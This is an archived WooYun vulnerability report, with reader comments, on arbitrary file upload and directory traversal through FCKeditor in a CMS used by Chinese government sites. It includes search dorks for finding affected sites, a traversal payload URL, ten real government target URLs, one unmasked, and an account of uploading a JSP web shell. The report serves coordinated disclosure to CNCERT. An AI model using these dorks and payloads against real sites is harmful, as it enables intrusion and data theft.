当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-054238

漏洞标题：某政府类CMS通用任意文件上传+目录遍历

相关厂商：Cncert国家互联网应急中心

漏洞作者： U神

提交时间：2014-03-28 12:58

修复时间：2014-06-26 12:58

公开时间：2014-06-26 12:58

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-28： 细节已通知厂商并且等待厂商处理中
2014-04-01： 厂商已经确认，细节仅向厂商公开
2014-04-04： 细节向第三方安全合作伙伴开放
2014-05-26： 细节向核心白帽子及相关领域专家公开
2014-06-05： 细节向普通白帽子公开
2014-06-15： 细节向实习白帽子公开
2014-06-26： 细节向公众公开

简要描述：

详细说明：

#1.今天是改善Gov安全的第五课！------该CMS主要是存在一个JSP的Fckeditor导致了任意文件上传，并且毫无限制地存在目录遍历，想看什么就看什么~关键字比较难构造，如下：

inurl:u***es inurl:index.jsp
inurl:do***?siteid


#2.根据该关键字可以发现，存在大量的这样的政府网站~

QQ截图20140623191817.png


其漏洞主要表现在Fckeditor的编辑上，地址如下：

fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector


以下枚举十例，【注意】仅提供给Cncert进行复现测试，其它人员请勿对提供的网站此进行利用或破坏，否则后果自负!：

http://www.wuzhi.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://eqrsj.***.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.j***o.jcy.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.s***u.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://cjl.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.***.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.e***k.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://***j.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://www.***g.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector
http://jsj.***i.gov.cn/fckeditor/editor/filemanager/browser/default/browser.html?Type=../../..&Connector=connectors/jsp/connector


以上十例主要都是市级以上的政府单位！所以要注意自己的举止！为防止漏洞被利用，请Cncert紧急通报以上说的十例先修复该漏洞！

漏洞证明：

#3.以最后一例子来做测试，我们看看Fck编辑器带来的危害！可泄漏大量敏感信息！危害可想而知！看下面的图，完全可以遍历网站所有目录内容，包括一些敏感的文件信息！

QQ截图20140623191817.png


#4.测试是否能成功上传JSP脚本，成功上传zone.jsp

修复方案：

PS:以上测试为证明漏洞危害，Shell已删除，请勿跨省，改善Gov安全，是我们白帽子的职责！原来我终于知道为什么中国那么多政府网会被外国黑客黑了！原来是这么简单！例如由某生产厂商提供自己写的CMS然后给批量的政府网安装，而该CMS存在一个漏洞导致所有网站沦陷！

版权声明：转载请注明来源 U神@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-04-01 22:27

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-03-28 13:01 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    眼熟……

  2. 2014-03-28 13:09 | HUC缘生 ( 路人 | Rank:28 漏洞数:29 | 小白求罩~~~~)

    妹子~~~~~~求细节~~~~~

  3. 2014-03-28 13:13 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @Coody 我以为不会审核了~没想到

  4. 2014-03-28 13:24 | cncert国家互联网应急中心(乌云厂商)

    FCKeditor这个还算不上通用软件漏洞，有很多是因为配置原因、使用不当造成的。

  5. 2014-03-28 13:26 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @cncert国家互联网应急中心 也算是吧，但是它存在一个目录遍历，什么东西都可以看到，这个比较严重点

  6. 2014-03-28 13:29 | cncert国家互联网应急中心(乌云厂商)

    @U神 根据您找到的应用特征，我们在找后面的共同厂商，刚才想表达的是FCKeditor本身很常见，但如果该厂商在产品中封装且默认部署，那就是一个通用问题。

  7. 2014-03-28 13:33 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @cncert国家互联网应急中心 哈哈~本来我也不想提交这个漏洞，因为FCK的比较常见，但是比较多的部署了这个，而且配置不当导致什么信息都泄漏，仔细看那张遍历目录的，（信息统计）这些敏感信息也泄漏~干脆马马虎虎提交了一下，上个礼拜提交的，我以为不审核了~没想到今天....不过有几个网站打开很慢，不知道怎么回事，我发誓我只测试过最后一例~

  8. 2014-03-28 15:59 | study_vul ( 实习白帽子 | Rank:62 漏洞数:9 | 我有乌云id了，我马上就要牛叉起来了)

    牛

  9. 2014-04-04 18:50 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    警告：以上提供示例和漏洞一方面是为证明漏洞存在，一方面是提供给Cncert测试真实性，其它人请勿恶意使用或破坏，否则后果自负！

  10. 2014-04-22 09:51 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这给力了。居然type不做限制的FCK，什么版本啊……居然还有这种问题啊。

  11. 2014-06-26 15:45 | dbgger ( 普通白帽子 | Rank:120 漏洞数:9 | Nothing else...)

    帽子扣的太大了,其实就是个fkc漏洞而已